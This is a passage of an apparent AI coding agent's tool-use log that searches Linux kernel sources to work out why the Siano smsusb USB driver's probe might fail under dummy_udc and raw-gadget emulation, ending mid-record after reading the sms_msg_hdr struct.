drivers/usb/gadget/udc/dummy_hcd.c-1181-	.driver		= {
--
drivers/usb/gadget/udc/dummy_hcd.c=2813=static int __init dummy_hcd_init(void)
--
drivers/usb/gadget/udc/dummy_hcd.c-2867-		goto err_add_pdata;
drivers/usb/gadget/udc/dummy_hcd.c:2868:	retval = platform_driver_register(&dummy_udc_driver);
drivers/usb/gadget/udc/dummy_hcd.c-2869-	if (retval < 0)
--
drivers/usb/gadget/udc/dummy_hcd.c-2921-err_add_hcd:
drivers/usb/gadget/udc/dummy_hcd.c:2922:	platform_driver_unregister(&dummy_udc_driver);
drivers/usb/gadget/udc/dummy_hcd.c-2923-err_register_udc_driver:
--
drivers/usb/gadget/udc/dummy_hcd.c=2937=static void __exit dummy_hcd_cleanup(void)
--
drivers/usb/gadget/udc/dummy_hcd.c-2949-	}
drivers/usb/gadget/udc/dummy_hcd.c:2950:	platform_driver_unregister(&dummy_udc_driver);
drivers/usb/gadget/udc/dummy_hcd.c-2951-	platform_driver_unregister(&dummy_hcd_driver);
--
include/uapi/linux/usb/raw_gadget.h-25- * The last two fields identify a UDC the gadget driver should bind to.
include/uapi/linux/usb/raw_gadget.h:26: * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
include/uapi/linux/usb/raw_gadget.h-27- * as its device_name, where N in the index of the Dummy UDC instance.
]

131/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 14176
							output: 18
							thoughts: 116
						

Thoughts:
**My Thought Process on Investigating `smsusb` Interactions**

My primary goal here is to thoroughly understand how `smsusb` interacts with the syzkaller fuzzing framework, specifically in relation to the `raw-gadget` component. My initial instinct is to cast a wide net.

I'll begin by looking for explicit mentions of `syzkaller` in proximity to `smsusb`. This could manifest as comments within the code, bug reports, or discussions in issue trackers. Simultaneously, I want to examine the git commit history. Commit messages often provide crucial context regarding changes, bug fixes, or the introduction of new functionalities that might involve `smsusb` and syzkaller.

A key area of focus will be any interactions between `smsusb` and `raw-gadget` or `dummy_udc`. I need to see if these are ever configured together, if there are known bugs when they are, or if there's any specific code that bridges their functionalities.

To achieve this, I'll leverage `grepper`, which is an excellent tool for searching across the repository's files. I'll specifically target the `drivers/usb/gadget/` directory, as this is the most probable location for USB gadget drivers. However, I won't limit myself to just the driver code itself. I'll also broaden my search to include any associated tests, as tests often reveal edge cases or intended usage patterns.

Considering the broader landscape, I'll extend my `grepper` search to other relevant directories:
*   `Documentation/`: This is vital for understanding the intended configuration and any known limitations or setup procedures.
*   `tools/`: Tools related to USB gadget development might shed light on how `smsusb` is used or tested.
*   `drivers/usb/raw-gadget/`: This directory is directly relevant to the `raw-gadget` component I'm investigating.
*   `drivers/usb/gadget/legacy/raw_gadget.c`: While potentially older, legacy code can sometimes hold clues to past issues or interactions.

Essentially, I'm trying to triangulate any information that connects `smsusb` to syzkaller, especially through the lens of raw gadget functionality, by meticulously examining code, documentation, commit history, and testing scenarios across the relevant parts of the kernel source tree.


132/7 2026/09/04 10:30 tool grepper
0m Args:
map[Expression:raw_gadget]

Results:
map[Output:Documentation/usb/raw-gadget.rst=46=The user can interact with Raw Gadget by opening ``/dev/raw-gadget`` and
Documentation/usb/raw-gadget.rst:47:issuing ioctl calls; see the comments in include/uapi/linux/usb/raw_gadget.h
Documentation/usb/raw-gadget.rst-48-for details. Multiple Raw Gadget instances (bound to different UDCs) can be
--
MAINTAINERS=28310=F:	Documentation/usb/raw-gadget.rst
MAINTAINERS:28311:F:	drivers/usb/gadget/legacy/raw_gadget.c
MAINTAINERS:28312:F:	include/uapi/linux/usb/raw_gadget.h
MAINTAINERS-28313-
--
drivers/usb/gadget/legacy/Kconfig=516=config USB_RAW_GADGET
--
drivers/usb/gadget/legacy/Kconfig-529-	  Say "y" to link the driver statically, or "m" to build a
drivers/usb/gadget/legacy/Kconfig:530:	  dynamically linked module called "raw_gadget".
drivers/usb/gadget/legacy/Kconfig-531-
--
drivers/usb/gadget/legacy/Makefile=45=obj-$(CONFIG_USB_GADGET_TARGET)	+= tcm_usb_gadget.o
drivers/usb/gadget/legacy/Makefile:46:obj-$(CONFIG_USB_RAW_GADGET)	+= raw_gadget.o
--
drivers/usb/gadget/legacy/raw_gadget.c-29-
drivers/usb/gadget/legacy/raw_gadget.c:30:#include <uapi/linux/usb/raw_gadget.h>
drivers/usb/gadget/legacy/raw_gadget.c-31-
]

133/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 14780
							output: 26
							thoughts: 111
						

Thoughts:
**My Thought Process**

My primary objective is to ascertain whether there are any particular initialization requirements for `dummy_udc` or `raw-gadget` that could induce a probe failure within the `smsusb` driver. To achieve this, I need to thoroughly examine the relevant source code files.

My immediate plan is to systematically review the code. I'll start by checking `dummy_hcd.c`, `raw_gadget.c`, and `smsusb.c`. Simultaneously, I intend to explore the entire `siano/` directory, as it's highly probable that files related to the `smsusb` driver and its dependencies will reside there. I'll be looking for any specific initialization patterns, data structures, or function calls within these files that might be pertinent to a probe failure scenario.


134/7 2026/09/04 10:30 tool codesearch-dir-index
0m Args:
map[Dir:drivers/media/usb/siano]

Results:
map[Files:[smsusb.c] Subdirs:<nil>]

135/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 14928
							output: 20
							thoughts: 28
						

Thoughts:
**My Thought Process on Locating the SMS Code:**

Okay, my immediate instinct is to pinpoint the exact location of the "SMS" related code within the `drivers/media/common/siano/` directory. My understanding is that the core `siano` logic, which I'm assuming is where the SMS (likely referring to the *Siano Software Modem* or a similar driver-level implementation) functionality would reside, is housed within this specific path. Therefore, my first investigative step is to conduct a targeted search within that directory. I need to confirm if the `sms` identifier directly corresponds to a file, a function, a struct, or a prominent keyword that will lead me to the relevant implementation details. If it's not immediately obvious within `drivers/media/common/siano/`, I'll broaden my search slightly to encompass any other subdirectories that might logically contain core driver components for the Siano hardware. The goal is to efficiently navigate to the heart of the SMS driver code for further analysis.


136/7 2026/09/04 10:30 tool grepper
0m Args:
map[Expression:smscore_register_device]

Results:
map[Output:drivers/media/common/siano/smscoreapi.c=615=smscore_buffer_t *smscore_createbuffer(u8 *buffer, void *common_buffer,
--
drivers/media/common/siano/smscoreapi.c-641- */
drivers/media/common/siano/smscoreapi.c:642:int smscore_register_device(struct smsdevice_params_t *params,
drivers/media/common/siano/smscoreapi.c-643-			    struct smscore_device_t **coredev,
--
drivers/media/common/siano/smscoreapi.c-744-}
drivers/media/common/siano/smscoreapi.c:745:EXPORT_SYMBOL_GPL(smscore_register_device);
drivers/media/common/siano/smscoreapi.c-746-
--
drivers/media/common/siano/smscoreapi.c=772=static int smscore_init_ir(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-818- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:819: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-820- *
--
drivers/media/common/siano/smscoreapi.c=823=static int smscore_configure_board(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-867- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:868: *		  smscore_register_device
drivers/media/common/siano/smscoreapi.c-869- *
--
drivers/media/common/siano/smscoreapi.c=1037=static char *smscore_fw_lkup[][DEVICE_MODE_MAX] = {
--
drivers/media/common/siano/smscoreapi.c-1089- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1090: *		  smscore_register_device
drivers/media/common/siano/smscoreapi.c-1091- * @param mode requested mode of operation
--
drivers/media/common/siano/smscoreapi.c=1097=static char *smscore_get_fw_filename(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smscoreapi.c-1127- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1128: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1129- * @param filename null-terminated string specifies firmware file name
--
drivers/media/common/siano/smscoreapi.c=1134=static int smscore_load_firmware_from_file(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smscoreapi.c-1181- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1182: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1183- *
--
drivers/media/common/siano/smscoreapi.c=1246=static int smscore_detect_mode(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-1285- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1286: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1287- * @param mode requested mode of operation
--
drivers/media/common/siano/smscoreapi.c=1291=static int smscore_init_device(struct smscore_device_t *coredev, int mode)
--
drivers/media/common/siano/smscoreapi.c-1319- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1320: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1321- * @param mode requested mode of operation
--
drivers/media/common/siano/smscoreapi.c=1325=int smscore_set_device_mode(struct smscore_device_t *coredev, int mode)
--
drivers/media/common/siano/smscoreapi.c-1413- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1414: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1415- *
--
drivers/media/common/siano/smscoreapi.c=1422=EXPORT_SYMBOL_GPL(smscore_get_device_mode);
--
drivers/media/common/siano/smscoreapi.c-1428- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1429: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1430- * @param data_type client data type (SMS_DONT_CARE for all types)
--
drivers/media/common/siano/smscoreapi.c=1435=smscore_client_t *smscore_find_client(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smscoreapi.c-1465- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1466: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1467- * @param cb pointer to response buffer descriptor
--
drivers/media/common/siano/smscoreapi.c=1612=EXPORT_SYMBOL_GPL(smscore_onresponse);
--
drivers/media/common/siano/smscoreapi.c-1617- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1618: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1619- *
--
drivers/media/common/siano/smscoreapi.c=1645=EXPORT_SYMBOL_GPL(smscore_getbuffer);
--
drivers/media/common/siano/smscoreapi.c-1650- * @param coredev pointer to a coredev object returned by
drivers/media/common/siano/smscoreapi.c:1651: *                smscore_register_device
drivers/media/common/siano/smscoreapi.c-1652- * @param cb pointer buffer descriptor
--
drivers/media/common/siano/smscoreapi.h=1095=extern void smscore_unregister_hotplug(hotplug_t hotplug);
drivers/media/common/siano/smscoreapi.h-1096-
drivers/media/common/siano/smscoreapi.h:1097:extern int smscore_register_device(struct smsdevice_params_t *params,
drivers/media/common/siano/smscoreapi.h-1098-				   struct smscore_device_t **coredev,
--
drivers/media/mmc/siano/smssdio.c-22- *
drivers/media/mmc/siano/smssdio.c:23: * - use ERR_PTR and friends for smscore_register_device()
drivers/media/mmc/siano/smssdio.c-24- *
--
drivers/media/mmc/siano/smssdio.c=236=static int smssdio_probe(struct sdio_func *func,
--
drivers/media/mmc/siano/smssdio.c-276-
drivers/media/mmc/siano/smssdio.c:277:	ret = smscore_register_device(&params, &smsdev->coredev, GFP_DMA, NULL);
drivers/media/mmc/siano/smssdio.c-278-	if (ret < 0)
--
drivers/media/usb/siano/smsusb.c=391=static int smsusb_init_device(struct usb_interface *intf, int board_id)
--
drivers/media/usb/siano/smsusb.c-457-	/* register in smscore */
drivers/media/usb/siano/smsusb.c:458:	rc = smscore_register_device(&params, &dev->coredev, 0, mdev);
drivers/media/usb/siano/smsusb.c-459-	if (rc < 0) {
drivers/media/usb/siano/smsusb.c:460:		pr_err("smscore_register_device(...) failed, rc %d\n", rc);
drivers/media/usb/siano/smsusb.c-461-		goto err_unregister_device;
]

137/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 17371
							output: 20
							thoughts: 1677
						

Thoughts:
**My Thought Process on `smsusb` Driver Probe Failures**

Alright, let's dive into the intricacies of the `smsusb` driver and what could possibly make its probe function fail. My initial thought is to break this down systematically, much like dissecting any complex system. I need to understand the context before I can even begin to hypothesize about specific failure scenarios, especially concerning other components like `dummy_udc` or `raw-gadget`.

Here's my mental roadmap:

1.  **What *is* `smsusb`?** Before I can analyze its failure modes, I need to grasp its fundamental purpose. Is it a USB driver for a specific piece of hardware? What kind of hardware does it manage? Understanding its role in the broader system is crucial.

2.  **What happens during `smsusb_probe`?** This is the heart of the matter. The `probe` function is where a driver typically initializes and claims a device. I need to dissect this function to see what steps it performs. What resources does it try to acquire? What checks does it make? What external dependencies does it have?

3.  **What *causes* `smsusb_probe` to fail?** This is where the real investigation begins. Failure can stem from many places: hardware issues, incorrect configuration, missing resources, conflicts with other drivers, or even bugs within the probe function itself. I'll need to examine the `smsusb_probe` code for specific error conditions it checks or potential points of failure.

4.  **Is there any interaction with `dummy_udc` or `raw-gadget`?** This is the specific question that’s been posed, and it implies a potential dependency or interaction. Why would someone link `smsusb` probe failures to these components? This suggests that `smsusb` might be involved in USB device emulation or that its probing process is somehow sensitive to the state or configuration of a USB gadget framework. This is a critical point of investigation.

    *   **Specifically regarding `dummy_udc` and `raw-gadget`:** Does `smsusb` *use* them? Or are they *used by* something that `smsusb` interacts with? Could the probe fail if `dummy_udc` or `raw-gadget` are not initialized in a *specific way*? This leads me to wonder about:
        *   The speed of the USB connection (high-speed vs. full-speed).
        *   The configuration of endpoints (presence, type, direction).
        *   Any specific control or data transfers that might be expected.

To answer these questions, I know I need to get my hands dirty with the actual code. My next step is to meticulously examine:

*   **`smsusb.c`:** This is the primary source file for the `smsusb` driver, and I'll be focusing heavily on the `smsusb_probe` function itself, as well as any helper functions it calls.
*   **`smscoreapi.c` (and potentially other related `.c` files):** The `smsusb` driver likely relies on a core API or shared library for its functionality. Understanding these APIs is essential for tracing dependencies and potential failure points.

I've already started by looking at the provided snippet of `smsusb_probe` (lines 500-580) and `smsusb_init_device`. My initial observations from the `smsusb_probe` snippet:

*   It checks the interface number against expected values (`sms_get_board`). A mismatch immediately returns `-ENODEV`.
*   It attempts to set the USB interface if there are multiple alternate settings. Failure here returns an error code.
*   It iterates through endpoints, performing `usb_clear_halt`. Errors here are propagated.
*   There's a specific check for ROM interfaces (`SMS1XXX_BOARD_SIANO_STELLAR_ROM`), which involves loading firmware and potentially resetting the device. A failure in `smsusb1_load_firmware` will cause a probe failure.
*   For other cases, it calls `smsusb_init_device`.

Looking at `smsusb_init_device`, I see:

*   It allocates memory for `struct smsusb_device_t`. A failure here leads to `-ENOMEM`.
*   It iterates through endpoints to find the input (`in_ep`) and output (`out_ep`).
*   Crucially, it calculates `align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);`.
*   It checks if `!dev->in_ep || !dev->out_ep || align < 0`. If any of these conditions are true, it calls `smsusb_term_device` and returns `-ENODEV`.

This `align < 0` check is particularly interesting. It means the maximum packet size for an input endpoint is *smaller* than the size of `struct sms_msg_hdr`. This is a direct, code-level requirement.

So, my immediate next thought is: **What is `struct sms_msg_hdr`?** And what is its typical size? This will tell me the minimum `wMaxPacketSize` required for an input endpoint to *not* trigger this specific `-ENODEV` error.

The question about `dummy_udc` or `raw-gadget` likely comes into play if these components are used to *provide* the USB interface that `smsusb` is probing. If `dummy_udc` or `raw-gadget` are misconfigured such that they present an interface with an input endpoint having a `wMaxPacketSize` less than `sizeof(struct sms_msg_hdr)`, then the `smsusb` probe would fail precisely because of that `align < 0` condition. The specific requirements would then be related to how `dummy_udc`/`raw-gadget` are configured to set up the `wMaxPacketSize` of their input endpoints.

My investigation is now focused on understanding `struct sms_msg_hdr` and then exploring how `dummy_udc`/`raw-gadget` configure their endpoints.


138/7 2026/09/04 10:30 tool grepper
0m Args:
map[Expression:struct sms_msg_hdr]

Results:
map[Output:drivers/media/common/siano/smscoreapi.c=907=static int smscore_load_firmware_family2(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smscoreapi.c-936-		SMS_INIT_MSG(&msg->x_msg_header, MSG_SW_RELOAD_START_REQ,
drivers/media/common/siano/smscoreapi.c:937:			     sizeof(struct sms_msg_hdr));
drivers/media/common/siano/smscoreapi.c-938-		rc = smscore_sendrequest_and_wait(coredev, msg,
--
drivers/media/common/siano/smscoreapi.c-957-		SMS_INIT_MSG(&msg->x_msg_header, MSG_SMS_DATA_DOWNLOAD_REQ,
drivers/media/common/siano/smscoreapi.c:958:			     (u16)(sizeof(struct sms_msg_hdr) +
drivers/media/common/siano/smscoreapi.c-959-				      sizeof(u32) + payload_size));
--
drivers/media/common/siano/smscoreapi.c-1008-		SMS_INIT_MSG(&msg->x_msg_header, MSG_SW_RELOAD_EXEC_REQ,
drivers/media/common/siano/smscoreapi.c:1009:				sizeof(struct sms_msg_hdr));
drivers/media/common/siano/smscoreapi.c-1010-		rc = coredev->sendrequest_handler(coredev->context, msg,
--
drivers/media/common/siano/smscoreapi.c=1246=static int smscore_detect_mode(struct smscore_device_t *coredev)
drivers/media/common/siano/smscoreapi.c-1247-{
drivers/media/common/siano/smscoreapi.c:1248:	void *buffer = kmalloc(sizeof(struct sms_msg_hdr) + SMS_DMA_ALIGNMENT,
drivers/media/common/siano/smscoreapi.c-1249-			       GFP_KERNEL | coredev->gfp_buf_flags);
drivers/media/common/siano/smscoreapi.c:1250:	struct sms_msg_hdr *msg =
drivers/media/common/siano/smscoreapi.c:1251:		(struct sms_msg_hdr *) SMS_ALIGN_ADDRESS(buffer);
drivers/media/common/siano/smscoreapi.c-1252-	int rc;
--
drivers/media/common/siano/smscoreapi.c-1257-	SMS_INIT_MSG(msg, MSG_SMS_GET_VERSION_EX_REQ,
drivers/media/common/siano/smscoreapi.c:1258:		     sizeof(struct sms_msg_hdr));
drivers/media/common/siano/smscoreapi.c-1259-
--
drivers/media/common/siano/smscoreapi.c=1470=void smscore_onresponse(struct smscore_device_t *coredev,
drivers/media/common/siano/smscoreapi.c-1471-		struct smscore_buffer_t *cb) {
drivers/media/common/siano/smscoreapi.c:1472:	struct sms_msg_hdr *phdr = (struct sms_msg_hdr *) ((u8 *) cb->p
drivers/media/common/siano/smscoreapi.c-1473-			+ cb->offset);
--
drivers/media/common/siano/smscoreapi.c-1588-				((char *)phdr
drivers/media/common/siano/smscoreapi.c:1589:				+ sizeof(struct sms_msg_hdr)),
drivers/media/common/siano/smscoreapi.c-1590-				(int)phdr->msg_length
drivers/media/common/siano/smscoreapi.c:1591:				- sizeof(struct sms_msg_hdr));
drivers/media/common/siano/smscoreapi.c-1592-			break;
--
drivers/media/common/siano/smscoreapi.c=1781=int smsclient_sendrequest(struct smscore_client_t *client,
--
drivers/media/common/siano/smscoreapi.c-1784-	struct smscore_device_t *coredev;
drivers/media/common/siano/smscoreapi.c:1785:	struct sms_msg_hdr *phdr = (struct sms_msg_hdr *) buffer;
drivers/media/common/siano/smscoreapi.c-1786-	int rc;
--
drivers/media/common/siano/smscoreapi.c=1812=int smscore_configure_gpio(struct smscore_device_t *coredev, u32 pin,
--
drivers/media/common/siano/smscoreapi.c-1815-	struct {
drivers/media/common/siano/smscoreapi.c:1816:		struct sms_msg_hdr hdr;
drivers/media/common/siano/smscoreapi.c-1817-		u32 data[6];
--
drivers/media/common/siano/smscoreapi.c=1858=int smscore_set_gpio(struct smscore_device_t *coredev, u32 pin, int level)
--
drivers/media/common/siano/smscoreapi.c-1860-	struct {
drivers/media/common/siano/smscoreapi.c:1861:		struct sms_msg_hdr hdr;
drivers/media/common/siano/smscoreapi.c-1862-		u32 data[3];
--
drivers/media/common/siano/smscoreapi.c=1933=int smscore_gpio_configure(struct smscore_device_t *coredev, u8 pin_num,
--
drivers/media/common/siano/smscoreapi.c-1944-	struct set_gpio_msg {
drivers/media/common/siano/smscoreapi.c:1945:		struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.c-1946-		u32 msg_data[6];
--
drivers/media/common/siano/smscoreapi.c-1955-
drivers/media/common/siano/smscoreapi.c:1956:	total_len = sizeof(struct sms_msg_hdr) + (sizeof(u32) * 6);
drivers/media/common/siano/smscoreapi.c-1957-
--
drivers/media/common/siano/smscoreapi.c=2012=int smscore_gpio_set_level(struct smscore_device_t *coredev, u8 pin_num,
--
drivers/media/common/siano/smscoreapi.c-2019-	struct set_gpio_msg {
drivers/media/common/siano/smscoreapi.c:2020:		struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.c-2021-		u32 msg_data[3]; /* keep it 3 ! */
--
drivers/media/common/siano/smscoreapi.c-2026-
drivers/media/common/siano/smscoreapi.c:2027:	total_len = sizeof(struct sms_msg_hdr) +
drivers/media/common/siano/smscoreapi.c-2028-			(3 * sizeof(u32)); /* keep it 3 ! */
--
drivers/media/common/siano/smscoreapi.c=2060=int smscore_gpio_get_level(struct smscore_device_t *coredev, u8 pin_num,
--
drivers/media/common/siano/smscoreapi.c-2067-	struct set_gpio_msg {
drivers/media/common/siano/smscoreapi.c:2068:		struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.c-2069-		u32 msg_data[2];
--
drivers/media/common/siano/smscoreapi.c-2075-
drivers/media/common/siano/smscoreapi.c:2076:	total_len = sizeof(struct sms_msg_hdr) + (2 * sizeof(u32));
drivers/media/common/siano/smscoreapi.c-2077-
--
drivers/media/common/siano/smscoreapi.h=591=enum SMS_DEVICE_MODE {
--
drivers/media/common/siano/smscoreapi.h-607-
drivers/media/common/siano/smscoreapi.h:608:struct sms_msg_hdr {
drivers/media/common/siano/smscoreapi.h-609-	u16	msg_type;
--
drivers/media/common/siano/smscoreapi.h=616=struct sms_msg_data {
drivers/media/common/siano/smscoreapi.h:617:	struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.h-618-	u32 msg_data;
--
drivers/media/common/siano/smscoreapi.h=621=struct sms_msg_data2 {
drivers/media/common/siano/smscoreapi.h:622:	struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.h-623-	u32 msg_data[2];
--
drivers/media/common/siano/smscoreapi.h=626=struct sms_msg_data5 {
drivers/media/common/siano/smscoreapi.h:627:	struct sms_msg_hdr x_msg_header;
drivers/media/common/siano/smscoreapi.h-628-	u32 msg_data[5];
--
drivers/media/common/siano/smscoreapi.h=631=struct sms_data_download {
drivers/media/common/siano/smscoreapi.h:632:	struct sms_msg_hdr	x_msg_header;
drivers/media/common/siano/smscoreapi.h-633-	u32			mem_addr;
--
drivers/media/common/siano/smscoreapi.h=637=struct sms_version_res {
drivers/media/common/siano/smscoreapi.h:638:	struct sms_msg_hdr	x_msg_header;
drivers/media/common/siano/smscoreapi.h-639-
--
drivers/media/common/siano/smsdvb-main.c=541=static int smsdvb_onresponse(void *context, struct smscore_buffer_t *cb)
--
drivers/media/common/siano/smsdvb-main.c-543-	struct smsdvb_client_t *client = (struct smsdvb_client_t *) context;
drivers/media/common/siano/smsdvb-main.c:544:	struct sms_msg_hdr *phdr = (struct sms_msg_hdr *) (((u8 *) cb->p)
drivers/media/common/siano/smsdvb-main.c-545-			+ cb->offset);
--
drivers/media/common/siano/smsdvb-main.c-558-			dvb_dmx_swfilter(&client->demux, p,
drivers/media/common/siano/smsdvb-main.c:559:					 cb->size - sizeof(struct sms_msg_hdr));
drivers/media/common/siano/smsdvb-main.c-560-		break;
--
drivers/media/common/siano/smsdvb-main.c=735=static int smsdvb_send_statistics_request(struct smsdvb_client_t *client)
--
drivers/media/common/siano/smsdvb-main.c-737-	int rc;
drivers/media/common/siano/smsdvb-main.c:738:	struct sms_msg_hdr msg;
drivers/media/common/siano/smsdvb-main.c-739-
--
drivers/media/common/siano/smsdvb-main.c=882=static int smsdvb_dvbt_set_frontend(struct dvb_frontend *fe)
--
drivers/media/common/siano/smsdvb-main.c-888-	struct {
drivers/media/common/siano/smsdvb-main.c:889:		struct sms_msg_hdr	msg;
drivers/media/common/siano/smsdvb-main.c-890-		u32		Data[3];
--
drivers/media/common/siano/smsdvb-main.c=948=static int smsdvb_isdbt_set_frontend(struct dvb_frontend *fe)
--
drivers/media/common/siano/smsdvb-main.c-958-	struct {
drivers/media/common/siano/smsdvb-main.c:959:		struct sms_msg_hdr	msg;
drivers/media/common/siano/smsdvb-main.c-960-		u32		Data[4];
--
drivers/media/common/siano/smsendian.c=17=void smsendian_handle_tx_message(void *buffer)
--
drivers/media/common/siano/smsendian.c-33-		msg_words = (msg->x_msg_header.msg_length -
drivers/media/common/siano/smsendian.c:34:				sizeof(struct sms_msg_hdr))/4;
drivers/media/common/siano/smsendian.c-35-
--
drivers/media/common/siano/smsendian.c=45=void smsendian_handle_rx_message(void *buffer)
--
drivers/media/common/siano/smsendian.c-71-		msg_words = (msg->x_msg_header.msg_length -
drivers/media/common/siano/smsendian.c:72:				sizeof(struct sms_msg_hdr))/4;
drivers/media/common/siano/smsendian.c-73-
--
drivers/media/common/siano/smsendian.c=84=void smsendian_handle_message_header(void *msg)
--
drivers/media/common/siano/smsendian.c-86-#ifdef __BIG_ENDIAN
drivers/media/common/siano/smsendian.c:87:	struct sms_msg_hdr *phdr = (struct sms_msg_hdr *)msg;
drivers/media/common/siano/smsendian.c-88-
--
drivers/media/mmc/siano/smssdio.c=123=static void smssdio_interrupt(struct sdio_func *func)
--
drivers/media/mmc/siano/smssdio.c-128-	struct smscore_buffer_t *cb;
drivers/media/mmc/siano/smssdio.c:129:	struct sms_msg_hdr *hdr;
drivers/media/mmc/siano/smssdio.c-130-	size_t size;
--
drivers/media/mmc/siano/smssdio.c-174-
drivers/media/mmc/siano/smssdio.c:175:		size = hdr->msg_length - sizeof(struct sms_msg_hdr);
drivers/media/mmc/siano/smssdio.c-176-
--
drivers/media/usb/siano/smsusb.c=86=static void smsusb_onresponse(struct urb *urb)
--
drivers/media/usb/siano/smsusb.c-97-	if ((urb->actual_length > 0) && (urb->status == 0)) {
drivers/media/usb/siano/smsusb.c:98:		struct sms_msg_hdr *phdr = (struct sms_msg_hdr *)surb->cb->p;
drivers/media/usb/siano/smsusb.c-99-
--
drivers/media/usb/siano/smsusb.c-123-				memcpy((char *) phdr + surb->cb->offset,
drivers/media/usb/siano/smsusb.c:124:				       phdr, sizeof(struct sms_msg_hdr));
drivers/media/usb/siano/smsusb.c-125-			} else
--
drivers/media/usb/siano/smsusb.c=208=static int smsusb_sendrequest(void *context, void *buffer, size_t size)
--
drivers/media/usb/siano/smsusb.c-210-	struct smsusb_device_t *dev = (struct smsusb_device_t *) context;
drivers/media/usb/siano/smsusb.c:211:	struct sms_msg_hdr *phdr;
drivers/media/usb/siano/smsusb.c-212-	int dummy, ret;
--
drivers/media/usb/siano/smsusb.c-227-	smsendian_handle_tx_message((struct sms_msg_data *) phdr);
drivers/media/usb/siano/smsusb.c:228:	smsendian_handle_message_header((struct sms_msg_hdr *)phdr);
drivers/media/usb/siano/smsusb.c-229-	ret = usb_bulk_msg(dev->udev, usb_sndbulkpipe(dev->udev, 2),
--
drivers/media/usb/siano/smsusb.c=323=static int smsusb1_setmode(void *context, int mode)
drivers/media/usb/siano/smsusb.c-324-{
drivers/media/usb/siano/smsusb.c:325:	struct sms_msg_hdr msg = { MSG_SW_RELOAD_REQ, 0, HIF_TASK,
drivers/media/usb/siano/smsusb.c:326:			     sizeof(struct sms_msg_hdr), 0 };
drivers/media/usb/siano/smsusb.c-327-
--
drivers/media/usb/siano/smsusb.c=391=static int smsusb_init_device(struct usb_interface *intf, int board_id)
--
drivers/media/usb/siano/smsusb.c-414-			dev->in_ep = desc->bEndpointAddress;
drivers/media/usb/siano/smsusb.c:415:			align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
drivers/media/usb/siano/smsusb.c-416-		} else {
]

139/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 23807
							output: 42
							thoughts: 52
						

Thoughts:
**My Thought Process on Investigating `struct sms_msg_hdr`**

Alright, so I'm diving into this code, and my immediate instinct is to get a firm grasp on the data structures involved. Specifically, I need to understand the `struct sms_msg_hdr`. My plan is to locate its definition and then carefully examine the relevant section of the header file, `drivers/media/common/siano/smscoreapi.h`, focusing on lines 600 through 650. This range should hopefully contain the definition and perhaps some immediate context around it, giving me a clear picture of its members and overall purpose within the Siano driver's messaging subsystem.


140/7 2026/09/04 10:30 tool read-file
0m Args:
map[File:drivers/media/common/siano/smscoreapi.h FirstLine:600 LineCount:40]

Results:
map[Contents: 600:		DEVICE_MODE_CMMB,
 601:		DEVICE_MODE_RAW_TUNER,
 602:		DEVICE_MODE_FM_RADIO,
 603:		DEVICE_MODE_FM_RADIO_BDA,
 604:		DEVICE_MODE_ATSC,
 605:		DEVICE_MODE_MAX,
 606:	};
 607:	
 608:	struct sms_msg_hdr {
 609:		u16	msg_type;
 610:		u8	msg_src_id;
 611:		u8	msg_dst_id;
 612:		u16	msg_length; /* length of entire message, including header */
 613:		u16	msg_flags;
 614:	};
 615:	
 616:	struct sms_msg_data {
 617:		struct sms_msg_hdr x_msg_header;
 618:		u32 msg_data;
 619:	};
 620:	
 621:	struct sms_msg_data2 {
 622:		struct sms_msg_hdr x_msg_header;
 623:		u32 msg_data[2];
 624:	};
 625:	
 626:	struct sms_msg_data5 {
 627:		struct sms_msg_hdr x_msg_header;
 628:		u32 msg_data[5];
 629:	};
 630:	
 631:	struct sms_data_download {
 632:		struct sms_msg_hdr	x_msg_header;
 633:		u32			mem_addr;
 634:		u8			payload[SMS_MAX_PAYLOAD_SIZE];
 635:	};
 636:	
 637:	struct sms_version_res {
 638:		struct sms_msg_hdr	x_msg_header;
 639:	
]

141/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

